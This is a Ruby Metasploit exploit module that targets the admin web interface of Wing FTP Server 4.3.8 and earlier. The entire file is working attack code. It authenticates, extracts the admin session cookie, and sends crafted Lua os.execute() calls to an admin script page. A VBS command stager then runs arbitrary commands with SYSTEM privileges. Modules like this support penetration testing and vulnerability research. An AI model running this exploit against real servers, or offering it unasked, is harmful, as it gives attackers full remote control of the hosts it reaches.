##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Wing FTP Server Authenticated Command Execution',
'Description' => %q{
This module exploits the embedded Lua interpreter in the admin web interface for
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
an attacker can use os.execute() to execute arbitrary system commands on
the target with SYSTEM privileges.
},
'Author' =>
[
'Nicholas Nam <nick[at]executionflow.org>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.wftpserver.com' ]
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
[ 'Windows VBS Stager', {} ]
],
'Privileged' => true,
'DisclosureDate' => 'Jun 19 2014',
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(5466),
OptString.new('USERNAME', [true, 'Admin username', '']),
OptString.new('PASSWORD', [true, 'Admin password', ''])
], self.class
)
deregister_options('CMDSTAGER::FLAVOR')
end
def check
res = send_request_cgi(
{
'uri' => '/admin_login.html',
'method' => 'GET'
})
if !res
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
elsif res.code != 200
fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
username = datastore['USERNAME']
password = datastore['PASSWORD']
@session_cookie = authenticate(username, password)
print_status("#{peer} - Sending payload")
# Execute the cmdstager, max length of the commands is ~1500
execute_cmdstager(flavor: :vbs, linemax: 1500)
end
def execute_command(cmd, _opts = {})
command = "os.execute('cmd /c #{cmd}')"
res = send_request_cgi(
'uri' => '/admin_lua_script.html',
'method' => 'POST',
'cookie' => @session_cookie,
'vars_post' => { 'command' => command }
)
if res && res.code != 200
fail_with(Failure::Unkown, "#{peer} - Something went wrong.")
end
end
def authenticate(username, password)
print_status("#{peer} - Authenticating")
res = send_request_cgi(
'uri' => '/admin_loginok.html',
'method' => 'POST',
'vars_post' => {
'username' => username,
'password' => password,
'username_val' => username,
'password_val' => password,
'submit_btn' => '+Login+'
}
)
uidadmin = ''
if !res
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
res.get_cookies.split(';').each do |cookie|
cookie.split(',').each do |value|
uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
end
end
else
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end
"UIDADMIN=#{uidadmin}"
end
end
